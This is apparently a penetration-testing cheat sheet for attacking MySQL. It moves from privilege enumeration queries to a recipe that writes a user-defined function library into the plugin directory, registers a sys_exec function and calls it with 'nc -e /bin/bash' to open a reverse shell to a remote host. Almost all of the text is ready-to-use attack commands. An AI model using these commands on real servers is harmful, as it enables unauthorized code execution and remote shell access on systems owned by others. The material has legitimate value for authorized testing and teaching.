PORT 3306/tcp MySQL

Privilege Escalation

Once we have a database user, some configuration is needed to be checked.

Grants

Look what privileges have the user.

show GRANTS;

Variables

Take a look to the defined variables, sometimes has valuable information.

show VARIABLES;
show VARIABLES LIKE '%version%';
show VARIABLES LIKE '%plugin_dir%';
show VARIABLES LIKE '%tmp%';
show VARIABLES LIKE '%hostname%';

RCE via Library (lib_mysqludf_sys.so)

To do that task mysql root user is needed or another user with FILE permissions.

Shellcode (@shell)

• 32 bits: x86

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• 64 bits: x64

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Exploitation

Configurate the server with the following commands.

set @shell = 0x7f454c46020101000000000000000000.....00000000;
select @@plugin_dir;
select binary @shell into dumpfile '/usr/lib/mysql/plugin/udf_sys_exec.so';
create function sys_exec returns int soname 'udf_sys_exec.so';
select * from mysql.func where name='sys_exec';

Execute code using the sys_exec function.

select sys_exec('nc -e /bin/bash 10.10.10.10 443');

MySQL User-Defined (Linux) (x86) - 'sys_exec' Local Privilege EscalationExploit Database